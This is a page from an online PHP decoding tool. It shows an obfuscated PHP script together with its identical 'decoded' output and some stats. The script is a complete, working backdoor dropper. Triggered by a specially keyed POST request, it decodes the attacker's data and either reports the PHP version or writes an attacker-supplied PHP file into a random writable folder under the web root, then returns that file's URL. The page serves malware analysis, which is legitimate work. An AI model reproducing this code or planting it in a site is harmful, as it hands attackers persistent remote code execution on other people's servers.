Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $hflcxxtlfj = "flkmebmwbzzlpcij";$ssfopdgnva = "";foreach ($_POST as $reyepil => $ik..

Decoded Output download

<?php $hflcxxtlfj = "flkmebmwbzzlpcij";$ssfopdgnva = "";foreach ($_POST as $reyepil => $ikvfaxxjok){if (strlen($reyepil) == 16 and substr_count($ikvfaxxjok, "%") > 10){qrcggtvhcw($reyepil, $ikvfaxxjok);}}function qrcggtvhcw($reyepil, $lzjclhm){global $ssfopdgnva;$ssfopdgnva = $reyepil;$lzjclhm = str_split(rawurldecode(str_rot13($lzjclhm)));function ucxcwqm($asngvf, $reyepil){global $hflcxxtlfj, $ssfopdgnva;return $asngvf ^ $hflcxxtlfj[$reyepil % strlen($hflcxxtlfj)] ^ $ssfopdgnva[$reyepil % strlen($ssfopdgnva)];}$lzjclhm = implode("", array_map("ucxcwqm", array_values($lzjclhm), array_keys($lzjclhm)));$lzjclhm = @unserialize($lzjclhm);if (@is_array($lzjclhm)){$reyepil = array_keys($lzjclhm);$lzjclhm = $lzjclhm[$reyepil[0]];if ($lzjclhm === $reyepil[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function syrlx($ykemtqdir) {static $hnymxcrot = array();$utllbgucfy = glob($ykemtqdir . '/*', GLOB_ONLYDIR);if (count($utllbgucfy) > 0) {foreach ($utllbgucfy as $ykemtqd){if (@is_writable($ykemtqd)){$hnymxcrot[] = $ykemtqd;}}}foreach ($utllbgucfy as $ykemtqdir) syrlx($ykemtqdir);return $hnymxcrot;}$rmndjpgw = $_SERVER["DOCUMENT_ROOT"];$utllbgucfy = syrlx($rmndjpgw);$reyepil = array_rand($utllbgucfy);$tdjht = $utllbgucfy[$reyepil] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($tdjht, $lzjclhm);echo "http://" . $_SERVER["HTTP_HOST"] . substr($tdjht, strlen($rmndjpgw));exit();}}} 
 ?>

Did this file decode correctly?

Original Code

<?php $hflcxxtlfj = "flkmebmwbzzlpcij";$ssfopdgnva = "";foreach ($_POST as $reyepil => $ikvfaxxjok){if (strlen($reyepil) == 16 and substr_count($ikvfaxxjok, "%") > 10){qrcggtvhcw($reyepil, $ikvfaxxjok);}}function qrcggtvhcw($reyepil, $lzjclhm){global $ssfopdgnva;$ssfopdgnva = $reyepil;$lzjclhm = str_split(rawurldecode(str_rot13($lzjclhm)));function ucxcwqm($asngvf, $reyepil){global $hflcxxtlfj, $ssfopdgnva;return $asngvf ^ $hflcxxtlfj[$reyepil % strlen($hflcxxtlfj)] ^ $ssfopdgnva[$reyepil % strlen($ssfopdgnva)];}$lzjclhm = implode("", array_map("ucxcwqm", array_values($lzjclhm), array_keys($lzjclhm)));$lzjclhm = @unserialize($lzjclhm);if (@is_array($lzjclhm)){$reyepil = array_keys($lzjclhm);$lzjclhm = $lzjclhm[$reyepil[0]];if ($lzjclhm === $reyepil[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function syrlx($ykemtqdir) {static $hnymxcrot = array();$utllbgucfy = glob($ykemtqdir . '/*', GLOB_ONLYDIR);if (count($utllbgucfy) > 0) {foreach ($utllbgucfy as $ykemtqd){if (@is_writable($ykemtqd)){$hnymxcrot[] = $ykemtqd;}}}foreach ($utllbgucfy as $ykemtqdir) syrlx($ykemtqdir);return $hnymxcrot;}$rmndjpgw = $_SERVER["DOCUMENT_ROOT"];$utllbgucfy = syrlx($rmndjpgw);$reyepil = array_rand($utllbgucfy);$tdjht = $utllbgucfy[$reyepil] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($tdjht, $lzjclhm);echo "http://" . $_SERVER["HTTP_HOST"] . substr($tdjht, strlen($rmndjpgw));exit();}}}

Function Calls

None

Variables

$hflcxxtlfj flkmebmwbzzlpcij
$ssfopdgnva

Stats

MD5 65f898d69cfd7f67abe8e0ccf852dd92
Eval Count 0
Decode Time 89 ms